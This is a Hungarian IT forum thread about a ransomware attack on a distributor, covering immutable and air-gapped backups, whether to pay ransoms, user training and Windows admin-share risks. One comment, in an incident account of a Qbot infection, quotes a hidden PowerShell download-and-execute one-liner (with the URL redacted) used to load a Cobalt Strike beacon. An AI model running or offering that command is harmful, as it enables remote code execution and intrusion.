Ha eggyel tovább viszi az ember, elveszi a törlés jogát a mentéstől és máshol tárolja a "törlős kulcsot" akkor azzal még tudja nehezíteni a károkozást.
A legparasztabb *tartalék* mentésem olyan, hogy csak a diff idejére kapcsol be egy e célra dedikált nas, miközben itt kéthavi diffet őrzök. Annyira nem akarom túlragozni, de ha a diff 40-70 perce alatt egy retek cpuval/PC-vel elkódolsz nemkevés millió összállományt 1.5+ T méretben, akkor beprotezsállak a NASAhoz. Szóval mínusz egy.
Ui favágó példa volt, ragozhatjuk tovább. Van ezen kívül egyszerűbb mentésem is, ami még mindig csak tartalék. Meg van komolyabb is.
Jogos, de azt talán nem ransomsware névvel illetik, illetve ha az állományok számát pontosítom (emelek egy nagyságrendet, hogy tizes legyen) akkor az idő kevés.
Egyrészt a mentést írták, elég csak az élest elkódolni, másrészt, attól, hogy nem visszaállítható, még bekamuzhatják és megzsarolhatnak, harmadrészt elég csak pár kritikus részen átírni állományokat, hogy kapásból ne használhasd.
Nyilván, de a vendégem vagy egy sörre, ha sikeresen törölsz ransomware-rel egy olyan storage-ról, ahol bekapcsolt retention lock mellett a gyártó garantálja az alábbi szabványoknak való megfelelősséget:
Már simán támadják a mentést, mivel akkor van értelme zsarolni. A mentő rendszereket kezdik izolálni, nincs állandó összeköttetés az infrával. Virtuális vagy fizikai air-gap.
az AWS ad úgy tárterületet, hogy a tulajdonosa nem tudja törölni pár hónapig (pluszpénzért adja)
fizikai storage gyártóknak is van olyan termékük, ahol a az adat nem törölhető az előre beállított időpontig (pluszpénzért)
usa állami szabályzat bizonyos szint fölött előírja, hogy a mentésnek törölhetetlennek kell lennie.
A koncepció és a dolog nem új, csak nem szokák kifizetni rá a pénzt/tudást/időt.
A biztonsági mentésnek két tulajdonsága van, amit általánosan nem szoktak betartani:
1) biztonsági mentés az, amire nincs szükség: a törlésével nem keletkezik kár (csak kockázat). Értsd, semmi nem létezhet egyetlen példányban csak a biztonsági mentésben, a jog által kötelezően archiválandó adatok az archívumba valók (amit aztán elemzés alapján le kell menteni vagy nem)
2) a biztonsági mentés az, amint a rendszergazdai jogosultsággal rendelkező betörő nem tud letörölni. Ennél fogva egy robotizált szalagos mentési rendszer sem alkalmas biztonsági mentésnek.
Diszk alapú WORM. Vagy alapból tudja a tároló általában archív tárolók, lehet plusz pénzért ilyen funkció némelyik NAS is tud ilyet. Retention time/lock van az adaton. Mentésnél meg x ideig nem törölhető, max. ha újrainicializálod a tárolót, azt meg nem lehet menedzsment felületről. Esetleg tud a tárolód verziózni, és ha monitorozod, akkor talán feltűnik, ha fogy a hely, mert nyomják rá a titkosított mentést.
Meg van még az air-gap, amikor a mentési rendszert leválasztod és csak a mentés idejére kapcsolod össze, ha minden okés.
Rendszeres visszaállítási teszt, vagy legalább inspection nélkül nem ér semmit az sem, pluszpénz ide vagy oda. Ha fél évig lappang a ransomware, és már kirotálódott minden tiszta mentésed, akkor hajadra kenheted az egészet kb.
Ahol komplett security team van erre, ott ezt meg lehet csinálni. Ott, ahol az ember munkája az, hogy a cégnek pénzt keressen IT tudásával (a cég ezt értékesíti) és csak hobbiként kapja nyakába a saját cég üzemeltetését is, ott erre korlátozott a lehetőség. Persze, vannak drága backup szoftverek, amik automatizálják ezeket a taskokat, de hát azokat meg meg kéne venni, de az meg ugye PÉNZBE KERÜL, TE ÚÚÚRIIISSTEEEEEEEN!
Kis cégnél (kis cég, kis pénz, kis foci) viszonylag megoldottam.
Viszont ha belső információk birtokában, célzottan támadnák rendszert - lenne is rá pár tippem hol kéne kezdeni, hehe -, akkor lenne nagy futkosás. (Úgy kb. 99% hogy ez történt a CHS-nél is. Már nem a futkosás, az 100%.) És nem mintha ki akarnám próbálni, de kb. csak idő kérdése visszalapátolni mindent.
Pár dologgal (ssh/sudo 2fa pl.) lehetne érdemben növelni a biztonságot, már persze értelmes implementációval. Meg mondjuk egy effélével: https://github.com/stamparm/maltrail
Off: nem ilyenkor kellene elgondolkozni azon, hogy az end-user gépén az egyenszabvány rendszer helyett systemd-OS legyen, a szerveren meg Linux? Tudom, hogy azok is támadhatók, na de mekkora a piaci részesedésük? Egy százalék? Fog arra reálisan fejleszteni a haxor, amikor az egyenszabvány rendszer részesedése 80+ százalék?
Azellennemvéd. Egy ransomwarez jellemzően phising jellegű emaillel jut be, csak ott egy jólsikerült file-t kell megnyitni, illetve jelszót nyernek ki, amivel esetleg elérhető az RDP. (vagy valami távoli elérés). Innentől az jön, hogy minden helyből elérhető X típusú file-t kódolnak, gyakorlatilag a felhasználó jogosultságával. Ennek egy masszívabb változata, ha Windows/Linux/VMWare exploitokra rápróbál még ugyanez a cucc a hálózaton, és próbál jogosultságot emelni, azaz IS, tehát kódolgat, és közben "szétnéz" mi van még elérhető. Ha egy sima általános cuccot szippantanak be, akkor esetleg segít az, hogy nem Windowsról lepattan, vagy jóval kisebb kárt okoz. Ha célzottabb a történet, amire egy nagy cégnél van esély, akkor végigtúrják a Linuxos hálózatot is.
A szeparáció, offsite, offline és hasonló kulcsszavak, meg a felhasználók képzése (a kedvenc topik a security awareness) ami megállítja ezeket, és a megfelelő helyreállítási terv. Az más kérdés, hogy ezek jellemzően igen "kényelmetlen" pénzügyi ráfordítással járnak, amit vagy nem akarnak, vagy nem tudnak teljesen vállalni. Ezt már több más topikban említettem, ez van, aztán pislognak.
A Linux desktophoz még megemlíteném, hogy Group Policy és Active Directory jellegű központi menedzsment az, ami miatt masszívan Windows-olnak, illetve a mindenféle kliensprogramok elérhetősége, bár ez utóbbó már webalkalmazás felé tolódik talán.
Plusz egy SoC rendszer + team, ami képes felismerni tömeges fájlhozzáférést minta alapján és riasztani, izolálni a fertőzött hostot ... Jahm, ezek mind nagy pénzek, ilyenek nincsenek magyar nagyvállalatoknál sem, csak nyomokban. Főleg pénzügyi szervezetek vonalon.
Van már olyan NAS + ransomware elleni szoftver, ami maga figyeli a gyanús aktivitást és kitiltja azt a felhasználót amelyik nem úgy viselkedik mint szokásos.
Persze. A nagyobb AV gyártók is integrálnak már viselkedésmintákon alapuló védelmeket, ami mögött felhős logika áll. Ez nem újdonság. Kérdés, hogy mennyire hatékony egy éles helyzetben.
G-DATA vírusírtó viselkedésminta-alapú zsaroló vírus keresője már fogott meg olyan zsarolóvírust, amit nem ismert, de a a fájlok szisztematikus titkosítása lebuktatta.
Nyilván nem lehet erre bízni a rendszert, de ha mégis megfogja, akkor meg lehet úszni vele egy hosszas visszatöltést.
Azt hinném, hogy a 'mindenféle kliensprogramok elérhetősége' szorosan összefügg a 'jólsikerült file-t kell megnyitni' résszel: ha a derék user nem rendelkezik *.exe és *.ps futtatási lehetőséggel, akkor máris kevesebb levélmellékletet futtat le.
Elég egy okos PDF-et megnyitni, egy 0day linket (egy feltört CMS-re felpakolt, semmi krixkrax URL, hanem httx://normálisweboldal/valami/fontosfile.pdf), egy jpg library hibával, amiben kódfuttatási hiba van. Sőt, elég volt anno egy zipet megnyitni... láttunk már sokmindent. Linuxon ugyanez pepitában, és még group policyval sem tudsz szigorítani magán a gépeken egyszerűen.
A felhasználók horizontjának szélesítése nélkül bármilyen korlátozás, biztonsági beállítás, csak úgy van magában, és vagy működik, vagy nem.
Az másik szint, ha egy partnercéghez férkőznek be, és teljesen valid emailt küldenek, egy célzott valamivel (voltak ugye bankszámlás ideoda utalják pls mégiscsak problémák nemrégiben, meg láttam ilyet én is sajnos). Ott képezhetsz bárkit, meg lehet 2387db biztonsági beállításod, de csak a szeparációs meg offsite jelleg lesz ami esélyt ad.
A felhasználók horizontjának szélesítése nélkül bármilyen korlátozás, biztonsági beállítás, csak úgy van magában, és vagy működik, vagy nem.
Így van. Én negyedévente küldök ki oktató e-mail-t az usereknek immár évek óta. Mostanra kezdik kapiskálni azt, amit már 5 éve is leírtam nekik. De, látok valami fényt az alagút végén. Egyesek jönnek és kérdeznek. És ez jó. Persze a nagy része le se szarja. De az arány évről évre változik. Csak lassan.
Mondjuk azt nem értem általában, hogy mi komoly pénzbe kerülne egy VPS-t előre felhúzni egy statikusan szerkeszthető weboldallal (ez kb. ingyen van n+1 helyen), ott leírva, hogy ha szopó van, akkor mi a szopó, az IP-t kell átírni, hogy oda mutasson vagy azt se, ha van failover rule rá. De hát nem divat a sorry server.
Nekem a személyes tippem, hogy ha publikus valamin keresztül jutottak be, ott volt még valami, illetve egy fokkal nagyobb esélyt látok az email felöli közelítésen. Mindíg a kisebb ellenálláson keresztül próbálkoznak, hiszen minek bármit hekkelni, ha lesz valaki, aki készségesen megnyitja a trükkös emailt.
Ha -az itt lévő pletyák alapján- zsarolás áldozatai lettek, akkor mindíg az a kérdés, hogyha engednek a zzsarolásnak, akkor mi a bizonyíték, hogy nem lesz következő. Közvélemény szerint egy zsaroló addig megy, amíg egyáltalán elmehet (amíg ki nem vérzik a célpont). Tehát mindenképp meg kell védeni magát. Akkor pedig minek fizessen?
Ebből (játékelmét) következne, hogy kiszelektálódhat a piacon a "tisztességes zsaroló" kategória, aki csak egyszer, kifizethetően zsarol. De mégis, hogy? Ki gondolja azt, hogy ezen a "piacon" (a zsarolási eseményeknél) megjelenik és többsége kerül a "tizstességes zsaroló" hozzáállás? Nagyon grotekszül hangzik, meg tudom érteni, hogyha nem fizet valaki, bármekkora is a kár.
"hogyha engednek a zzsarolásnak, akkor mi a bizonyíték, hogy nem lesz következő."
A bizonyiték, hogy nem lesz következő, az nem azon múlik, hogy fizetnek-e vagy sem, hanem, hogy tanulnak a hibából (bármi is, pl. nem patcheltek, userek felöl elérhető volt a mgmt háló akármi) és azt kijavitják.
Ha az alapvető problémát nem javitják ki, akkor teljesen mindegy, hogy fizetnek vagy nem, mert mondjuk 1 hétnyi leállás és 2 csilliárdnyi pénz elkbukása után visszaállnak egy backup-ra, mancikák újra begépelik az eltűnt számlákat, majd két hét múlva újra bekapják a virust. Ennek nincs értelme.
A fizetésnek úgy van értelme (feltételezve, hogy megkapják a kulcsot, ami persze rizikós) hogy a zsarolóknak kifizetik a tanulópénzt, visszakapják az adataikat, majd kijavitva az eredeti hibát kizráják a zsarolókat a további zsarolási lehetőségből.
Kb 2 éve az Ír HSE (egészségügyi minisztérium) ugyanígy járt el mint ahogy Te is írod, nem fizettek és még rendeletet is hozott az Ír kormány hogy a lopott adatokat tilos felhasználni. Marhára sokat segítettek mindenkinek ezzel, a felelősséget hárították az állampolgárok/itt tartózkodók pedig szívnak mai napig mert a személyes adataink kikerültek.
Egyáltalán nem történt semmi változás azóta sem biztonsági szempontból, mert precedens lett hogy ha gebasz van akkor nem fizetnek és hajlandóak bebukni minden adatot. Teljes egészségügyi IT rendszerről beszélünk.
Álom munka lehet ott dolgozni egyébként, kontárok előnyben, 0 felelősség.
Ezzel a hozzáállással nem értek egyet. A fizetéssel kapsz esélyt az üzlet megmentésére a felderítést meg majd intézi az Interpol vagy FBI. Az üzemeltető igenis vállalja a felelősséget és köhögje ki a pénzt ha már megvédeni nem tudta az infrastruktúrát, biztosítás amúgy is kell legyen.
Időbe telik míg elkapják a bűnözőket de előbb utóbb rács mögött végzik.
a rendszer azért működik mert megéri zsarolni; A nyeremény nagyobb mint a rizikó, hogy elkapnak. A legtöbb cég titokban fizet. Ha senki sem fizetne nem érné meg a buli; de ez per pillanat elúszott hajó.
Nem állítottam, hogy a nem fizetés megoldja a helyzetet, de az általad említett esetben sem garantálta volna semmi, hogy fizetés után kicsit később nem értékesítik az adatokat; a legtöbben ezt teszik: többszörösen keresnek a megszerzett adatokon.
A zsarolóknak ez az egy kártyája van.
Sokkal nagyobb kárt tudnának okozni ha egész egyszerűen csak nem adják át a titkosító kulcsot és a cég vagy intézmény egész egyszerűen megszűnik létezni.
A cégnek kellenek az adatok hogy folytathassák a munkát ahol abbahagyták, ha izmozni akarnak akkor hajrá. Felelőtlenségnek tartom.
Kisebb adagokban szokták csepegtetni, elkeverve korábbi incidensek adataival; így lehet "hízlalni" az adatmennyiséget és persze nehezítik a forrás meghatározást. Az érzékeny személyes adat ráadásul pár hónappal/akár évvel később is ugyanúgy érték ... azért mert egy példányt visszakaptál belőle ami kikerült azt már érdemes úgy kezelni mintha nagy nyilvánossággal megosztásra került volna...
Garantálni nem garantálja semmi sem, de hogy ha híre megy, hogy valamelyik csoport a fizetés ellenére sem adta vissza az adatokat, az nagyon rontja a többiek fizetési morálját.
Ezért ezeknek a nagy pénzeket lehúzó csoportoknak érdeke, hogy ha fizet valaki, akkor visszakapja az adatait.
Garantálni nem garantálja semmi sem, de hogy ha híre megy, hogy valamelyik csoport a fizetés ellenére sem adta vissza az adatokat, az nagyon rontja a többiek fizetési morálját.
Hát, a konkrét esetet nem tudom (sem azt, hogy volt-e mentés, sem azt, hogy fizetnek-e), de hasonló kaliberű cégeknél nem ritka, hogy 2-3 millió USD a díja a feloldásnak. Ekkora összegnél már elég, ha csak egy cég nem kapja vissza az adatait, és máris sok millió dollártól esnek el a hackerek. Akik annó az Unix Autó rendszerét is feltörték, annyi pénzt kaszáltak vele (nem az Unix Autón, hanem a többi fizető "ügyfélen"), hogy az ágyneműtartóik is tele volt nagy címletekkel. És egytől egyig be is tartották, amit a váltságdíjért cserébe ígértek.
Az mondjuk aggasztó, hogy a CHS már egy hete áll, és még csak annyit sem közöltek, hogy várhatóan mikor fognak nyitni. Szerintem ha volt jó mentésük, vagy fizettek, akkor mostanra már működnie kellene.
Egy picit OFF:
A unix auto nagyon más volt. Meg ott akiket kihívtak security céget azok háttal ültek a mozinak.
Eleve hogy a secu cég azt mondta a UNIX-nak hogy REvil-Sodinokibi volt aki megtámadta őket már az nem fedi a valóságot. Eleve mert különbséget teszünk hogy ki az aki támad meg ki az akinek a ransomware-jét pusholják ki. És ebben az esetben a Quakbot volt aki megtámadta őket és az Ő 2nd layer proxy serverükhöz csatlakozott vissza a bot aztán később lett powershell-el cobalt strike beacon-jük. De az IT cég aki kiment még a Qbot-ot se találta meg :D .
(Erről nagyon sokat tudnék mesélni de ugye Magyarországon vagyunk, ha bármit is mondasz már ügyvéddel fenyegetnek. Ezért nem is lett jelentve anno hogy meg votlak fertőzve. Ha bejelented akkor jönnek hogy te ezt honnan tudod mit csináltál mihez férsz hozzá stb stb a sok kérdés és fenyegetés. Idehaza jobb ezekből kimaradni és nem jelenteni aztán pedig látni ahogy "elsüllyed". Ez tapasztalat. Itthon eljutottunk arra a szintre hogy ha van is fertőzés nem jelentik külföldi researcherek SEM nem hogy Magyarok. Ez vonatkozik állami rendszerek fertőzésére is, illetve a sok POSTA.hu phishing ahol bankkártya adatokat lopnak el ahol megvan a Marokkói meg Tunéziai meg Lengyel ember otthoni IP-je.)
És csak hogy ne legyen az hogy én itt "tippelek" meg nem tudom miről beszélek itt van pár log (Nem a UNIX rendszeréből mielőtt valaki nem értette volna az eddigieket amit leírtam):
Ő volt az első fertőzött phishing által (maszkolom a nevét logikus):
W...Viktor; Windows defender; Win 10 PRO.
Fertőzés ideje (unix time): 1611845954
Ezeket a commandokat futtatja le a Qbot mikor bekerült: (Minden fertőzésnél ez az alap)
Ennek a botnak az egyik pluginje végig gyűjtötte az összes keylogot meg levelezést meg mail címeket, exportálta böngészőben store-olt jelszavakat stb.
Aztán manuálisan pusholják ki a botnak hogy powershellel töltsön le egy filet és futassa (Cobalt strike beacon ami vissza connectel).
Ez így néz ki: "powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('hXxp://......'))" (csak base 64 encodeolva)
Logikus a domain admin a cél, aztán onnan minden gépre kiküldik GPO-ban hogy töltsed le azt az exét és futassad. De az exe már nem a Quakbot saját exe-je hanem azt veszik valakitől és X arányban osztoznak azzal akié az exe. Nem tudom ebben az esetben kinek az exe-jét használták. És pontosan tudták mennyi a cég bevétele, azt azonnal kigyűjti egy emberke aki kb csak ezt csinálja nekik 8 órába hogy megnézi ki a ferőzött és mennyi a cég bevétele és commentet tesz hogy érdemes e vele foglalkozni. Ebben az esetben is ez volt.
Hát, azért szakmai körökben elég sok helyről hallottam már, hogy ki fizetett és ki nem.
Lehet, hogy ezt az újságok nem hozzák le, de azért egy nagy cégnél ilyenkor 40-50 ember dolgozik a helyreállításon, ebből 5 minimum elmondja az ismerőseinek, hogy mi volt.
Ez jogos, de eléggé idealizált. Mindig lesznek olyanok, akik azt mondják kevesebbe kerül kifizetni, mint bebukni az adatokat, mert nincs (használható) mentésük. És persze, mondhatnák, hogy a közös jó miatt, inkább válasszuk a nagyobb gázt, hogy másoknak jobb legyen, de ez nem lesz igy...
A legnagyobb gond, hogy van, akinek nincs mentése, és ugyanakkor az adatok nélkül nem tud tovább üzemelni. (tudom, nem szabadna lenni ilyeneknek, de akkor is vannak)
Én ismerek jó, és közepesen rossz példát is:
Van, ahol relatív kis cég vezetése elsőre rábólintott, hogy költsenek 5 millió forintot a mentésre (miután elmondtam, hogy mit lenne érdemes, és miért), míg máshol hasonló nagyságú cég úgy volt vele, hogy legfeljebb 1 millió forintig hajlandó elmenni.
Így egyik cégnél fizikailag is két helyszínen van meg az adat, (éles szerver + backup szerver másik címen), és mindkét helyszínen van szalagos mentés is (rotálva). A másik helyen meg egy darab távoli NAS fért bele a költségvetésbe. Ha jönne a zsarolóvírus, az egyik helyen biztosan nem kellene fizetniük, de a másikon már nem vállalnék érte felelősséget.
"visszakapják az adataikat, majd kijavitva az eredeti hibát kizráják a zsarolókat a további zsarolási lehetőségből."
Aha... bent voltak hetekig, senki nem vette őket észre, csak mikor beindult az "akció". Ezek után semmi garancia nincs arra, hogy a pénz kifizetése és az adatok helyreállítása után nem marad bent valami alvó kis dolog, vagy backdoor amit 1-2 év múlva megint lehet aktiválni.
Egy ilyen sztori után minimum újra kell húzni a komplett rendszer minden elemét, - az eredetitől izolálva.
(Ha egy szemét off-topikoló troll lennék, most megkérdezném, hogy crypto-pénzben kérik-e a válságdíjat, és ha igen, vajon van-e más célja és értelme a kriptopénznek [már a pilótajátékon túl], mint a bűnözők támogatása. Régebben ez nehézkesebb volt egzotikus országokban kellett bankszámlát/fedőcéget/etc létrehozni, és reménykedni, hogy nem nyomozzák le. Pl.: https://en.wikipedia.org/wiki/AIDS_(Trojan_horse) )
Tavaly 69 milliárd Forint volt a CHS bevétele, ha 254 munkanappal számolunk és tényleg megszűnt az összes gazdasági tevékenység (nyilván nem), akkor 271 millió Forint esik ki naponta.
Hát... ööö... egyrészt, ha ez kiesik, akkor költségük jelentős része is kiesik, mert nem kell megvenni a cuccot mégnagyobbkerből, másrészt a partnerek nagy része gondolom ráér pár napot, szóval majd a következő hetekben bepótolják az elmaradt rendeléseket. A veszteség a rezsiköltség, plusz a lemorzsolódó ügyfelek, akik máshol vették meg, mert hamar kellett.
Leszámítva, hogy a raktár, iroda, alkalmazottak ugyanúgy ott vannak, és a raktárkészlet meg ugyanúgy áll a polcokon. Arról nem is beszélve, hogy közben a bejövő számlák is járnak le, azokat is fizetni kell, ráadás ezek sokszor hitelkeretből mennek cégek között.
Ha az ERP is kuka... na az lesz az igazi szívás, hetek lesz azt újra felépíteni, adatokkal feltölteni, ha nincs róla használható backup. Volt szerencsém hozzá máshol.
ha nincsenek is ott az alkalmazottak. de a kényszerszabadság alatti bérüket (vagy távolléti díj, vagy minek hívják bérszámfejtési szempontból), fizetni kell.
4 és fél éve csak vim-et használok. elsősorban azért, mert még nem jöttem rá, hogy kell kilépni belőle.
ha nincsenek is ott az alkalmazottak. de a kényszerszabadság alatti bérüket (vagy távolléti díj, vagy minek hívják bérszámfejtési szempontból), fizetni kell.
4 és fél éve csak vim-et használok. elsősorban azért, mert még nem jöttem rá, hogy kell kilépni belőle.
Hát, ha az ERP is kuka, akkor még lehet az is problémát jelenthet, hogy tudják, melyik alkalmazottnak mennyit kell utalni. (különösen február elején, mivel a legtöbb helyen a fizetésemelés január 1.-től szokott lenni, így nem triviális, hogy a decemberi adatokat nézik).
Az pedig ilyenkor jelentős plusz költséget szokott jelenteni, hogy fizetni kell akár 10-20 külső informatikai szakértőt, akik segítik a helyreállítást. Illetve jó eséllyel plusz hardver és szoftver beszerzés is szokott ilyenkor kelleni.
Fentebb valaki már linkelte az Unix Autó történetét, ott a végén leírják, hogy a zsarolóvírus fejlesztői valamivel 1 milliárd alatti összeget kértek, de így, hogy nem fizettek, közel 2 milliárd forintba került a helyreállítás. (és nekik volt működő mentésük). Az igazsághoz hozzá tartozik, hogy a helyreállítás alatt átgondolták az eddigi működését a rendszernek, és jelentősen tovább is fejlesztették, ha ezt nem kényszerhelyzetben teszik meg, akkor is valószínűleg több száz millió forint kiadást jelentett volna nekik.
Hát, ha az ERP is kuka, akkor még lehet az is problémát jelenthet, hogy tudják, melyik alkalmazottnak mennyit kell utalni.
Lehet outdated az információm, de annak az ERP-nek nincs bérszámfejtés funkciója. Persze azóta lehet, hogy csináltak hozzá vagy az is lehet, hogy csak mi nem használtuk, passz. Lassan 6 éve nem ezen a szegmensben dolgozok. (Egyébként kb. a magyar számtech nagykereskedelm 60-70%-a ezen a rendszeren fut, elég sokan használják.)
Úgy érted, Logical Block Addressing. "Simán" csak Pentium 1-es BIOS-októl kezdve lehet hegeszteni (bár kései 486-os alaplapok BIOS-ai is tudták ezt). Ha a BIOS nem tudta, akkor lehetett Dynamic Drive Overlay szoftverrel trükközni, vagy SCSI eszközökre váltani (sok pénzért). Manapság már létezik XT-IDE bios is, amivel akár XT-kben is használhatóakká válnak a sok GB-os IDE HDD-k.
Hozzászólások
Technikai probléma, holnap szerintem már menni fog. Nekem is kellett volna :/
Vortex Rikers NC114-85EKLS
Amit hallottam róla, az szép teljesítmény lenne.
trey @ gépház
Mentés nélkül biztosan, de magamból indulok ki. Akivel beszéltem telefonon, az nem említett mentés-mentességet* és holnapi elérhetőséget remélt.
* Elnézést ezért a fantasztikus meghatározásért :D
Vortex Rikers NC114-85EKLS
Nem hivatalos forrásból úgy értesült valaki, hogy a Veeam mentést is vitte a cryptolocker.
trey @ gépház
mas kerdes, hogy hogy fert hozza...
A Veeam repository általában egy vagy több Windows szerveren van. Ha annak a védelme nincs megfelelően megoldva, akkor csak annyira van védve, mint bármelyik másik Windows szerver, amit titkosít a ransomware.
trey @ gépház
Ha ez igaz, az pont annyira ötletes, mint a "hyper-v"-t a munkára használt domain-ban üzemeltetni...
Mármint domain controlleren, gondolom.
Nem, nem dc-n (elve van olyan félkegyelmű aki dc-re rak hyper-v host-ot?) csak abban a domain-ben. A wannacry megmutatta, hogy életveszélyes, én több cégnél takarítottam a szart, miután szétborította az egész hyper-v környezetet.
A hyper-v életveszélyes hulladék. Ha egy domain-ben van a kliensekkel, és azok elérik az smb szarjait, akkor simán encyrpálhatják a vhd-t és volt nincs virtuál gép. Elég egy samba sérülékenység, vagy egy jogosultság benézés, vagy egy admin által beszívott malware.
Ennek semmi köze a domain-hez.
Ha valaki annyira hülye, hogy irásjoggal (vagy akárhogy) smb-n kiosztja a vhd-ket a klienseknek, az nem a rendszer hibája.
Ha pedig akkora smb sérülékenység van, akkor mindegy, hogy domain tag-e a szerver, workgroup-ban is elérik ugyanúgy.
Admin által beszivott malware-nek szintén semmi köze ahhoz, hogy domain tag-e egy hyper-v host.
Normális helyen a virtualizáló host management vlan-ban van, akár hyperv, akár esxi (amiket éppen most encryptálnak a ransomware-ek) teljesen mindegy.
Ennél jóval prózaibban is elérhető. Egy domainben a domain admin joggal hosztnév/c$ jellegűen fel tudod minden domain tag összes drive-ját mountolni. A domain tagokat nem nehéz kideríteni, illetve ha van valamilyen bug, akkor DC-n domain admin jogot is lehet szerezni. Esetleg lokál adminok voltak a gépen valahogy, amin ott volt a backup share felmountolva.
Az lehet, hogy megfontolandó, hogy maga a backup szerver (NAS) eleve backup hálózatban van, nem is a menedzsment jellegűben, és nem domain tag, hanem lokális felhasználó van. Még egy egyszerűbb hálózatban sem biztos, hogy sima ügy az újrakonfigurálás.
mindenféle él nélkül kérdezem, ehhez mennyit kell tanulni, hány év tapasztalat kell ilyen meglátáshoz? Abszolút jószándék a kérdés, hát érdekel, nna, úgy is kérdezhetném: hány év szop@s, hány ordas pofáraesés. Komolyan érdekel.
Hát egy MCSA / MCSE nem árt hozzá erős security irányultsággal. De még akkor se biztos, hogy ezt valaki tudni fogja és/vagy figyel rá.
Itt nem az év számít. Ismerek olyan winteles kollégát, aki hiába van 10-20 éve a pályán, nem tudja ezt a funkciót, mivel sose kellett használnia, nem kellett a rendszerek ITsec aspektusaival foglalkozni.
Lehet olyan szakember, aki már 1-2 éves tapasztalattal is elkezdni böngészni a gépek megosztásait és felteszi a kérdést: Mi az a C$, IPC$, Admin$, Netlogon stb. megosztások? Mire jók ezek? Mi használja ezeket?
Ezt hiába tudod, hogy ha egyszerűen nem biztosítják hozzá a pénzt, paripát fegyvert, jameg az időt. Szó szerint napi szinten kell mindenféle hekkelést, félmegoldást csinálni, mert se pénzt, se időt nem biztosítanak. Ekkora szeparációt a mindenféle csodaszuper emberek által összerakott örökölt rendszereinkben sehol sem láttunk, vagy nem is kaptunk sosem ilyen ajánlást, vagy igényt. Kérdőívet viszont kaptunk akkorát, hogy 3 napig többen töltöttük ki, például hogy van-e covid officer a cégnél, meg hogy a teszt rendszer (khm...) meg a patch menedzsment, meg a minden, nyilván felül beírtak mindent, hogy jó legyen, 1-2 dolgon sikerült elgondolkodni, aztán lett valami.
Ahol rajtam múlik, ott a lehetőségekhez képest mindíg is volt szeparáció. Szerinted hányszor hallgattam, sőt hallgatom, hogy minekez, csak túlbonyolítom (hiszen random VLAN random IP címéről a menedzsment dolgok nem voltak elérhetőek), őkdolgozniakarnak, nemértjükminek... stbstb. Ugyanez pepitában, hogy már 10 éve is odafigyeltem, hogy ne olvasszák le a kábeleket a falban a cuccok lehetőleg. Bár ebben meg az a politikai probléma van, hogy amikor fel kell mutatni a spórolást, akkor nem lehet érdemben, mert minden eleve maximálisan optimalizált. :) (Hát nálunk az ájti nem tud spórolni, egyszerűen bénák... az persze... hiszen az excelben nem megy le 30-40%-kal villanyszámla, mert a kiindulópont már eleve jó.)
Könnyen lehet, hogy sokszor a fenti politikai okból, azaz mindíg legyen felmutatható valami, valahogy nincsen kimaxolva a történet. Amikor olvasható mindenféle hír, akkor hirtelen ki lehet tűzni egy remek fejlesztést, remek alvállalkozók vonhatóak be (vagy üzemeltető vállalkozóként adható be remek ajánlat, hogy hogyan lehetne elkerülni), és megint igazolt a pozició, a nagyon komoly munka és társai.
Az időhöz hozzájárul a folyamatos alultervezés. Vagy eleve kevés az IT létszám, vagy üzemeltető vállalkozóként adott ajánlatnál a "hát ebből faragni kéne" téma jön, és nyilván az óraszám csökken, ami nem a napi ügyek, hanem a finommunkák csökkenését jelenti. Természetesen olyan megrendelőkről van szó, ahol aprópénz jellegűen akar a pénzügyes csőlátású a zsetonból. Hát tessék, akkor faragott, hiszen fel tudta mutatni az excelben, meg a főnökei felé, hogy ő itten megfogta a "túlburjánzó" ájtit.
Lehet mondani, hogy ez ilyen kiégett, világfájdalmas, meg frusztrált duma, de amikor a döntő többség már 20 éve ilyen, akkor finoman szólva is erodálodik a szakmai minimum, hogy finoman fogalmazzak. Külön szeretem, hogy amikor szólok a fejlesztőnek, hogy probléma van, meg jelzem másnak, akkor vagy elhal a dolog, vagy a fejlesztőtől jön, "ja ezt nem fizetik, sorry nem tudok vele foglalkozni".
Mindenféle él nélkül kérdezem, ha ez ilyen egyszerű*, akkor miért nincs magyarországi nagyvállalatoknál se megoldva?
(* mert nem ilyen egyszerű)
trey @ gépház
"nézd! Beírom a levelet, elküldöm a levelet ... oszt' ... tadá! elment! Hehehe, nem kaptok több pénzt! Old meg ennyiből!"
és nem tudod meggyőzni,
egy ilyen CHS leállás sem tudja meggyőzni,
az i nformatikus a béna, cseréljük le,
ugyanazt kapja pepitaban,
... és minden megy tovább!
Én így tapasztalom, így képzelem!
Nem baj. Majd lesz helyette másik cég amelyik jobban csinálja. A gőzmozdonyok is elmúltak.
Gábriel Ákos
Ennek a problémának a visszacsatolás a megoldása: beszopja -> csődbe megy/kirúgják/tanul belőle.
Ahol ez nincs meg valamiért (nem piaci alapon megy a biznisz, beszopás után is van, aki zsebbe nyúl), ahol nincs meg a visszacsatolás, ott persze bármi megtörténhet.
Ezt írom mindig én is. Az ilyet be kell szívni, hogy tanuljanak belőle, de az csak saját káron szokott menni. Nem kárörvendésből, de ahhoz egyszer kell tapasztalat, hogy a tanulságokat le tudják vonni. Addig sose fogják komolyan venni, mert csak elméleti fenyegetés, á, őket úgyse fogja érinteni, nekik minősítéseik vannak, stb.. Ahogy megvan a baj, onnantól van az, hogy a későbbiekben ténylegesen is tesznek ellene valamit, hogy ne ismétlődjön meg.
Ez home usereknél is így szokott lenni, nem csak cégeknél, és nem csak malware, ransomware esetében, hanem pl. adathordozó kimúlása esetén adatvesztés, vagy pl. user errorból történő adatvesztés (véletlen felülírás, formázás, adatkorrupció), rendszer véletlen összegányolása esetére is, hogy valaminek történnie kell ahhoz, hogy a gyakorlatban is komolyabban vegye a dolgokat a kedves felhasználó.
“The world runs on Excel spreadsheets.” (Dylan Beattie)
Én meg azt teszem ehhez hozzá, hogy ha nincs visszacsatolás, akkor még beszopás esetén sem lesz belőle tanulás. Ha a hibás döntést meghozó főnökön nem kérik számon az elkúrt zsét/lehetőséget/stb, mert mondjuk az állam pénzeli a játékot, és a főnök "csókos" (tehát mindent elnéznek neki), akkor az illető ezt pontosan ugyanúgy fogja tovább folytatni.
Ezeket az admin shareket ($) ki lehet kapcsolni akár GPO-ból is. Persze ennek a következményeivel is számolni kell.
Például, hogy szétesik a hyper-v cluster :)
Meg egy rakás security tool nem működik :D melyik ujjam harapjam meg.
trey @ gépház
Hát igen a windows "secure by design" vagy mi :) Ezért az admin share nélkül használhatatlan :D
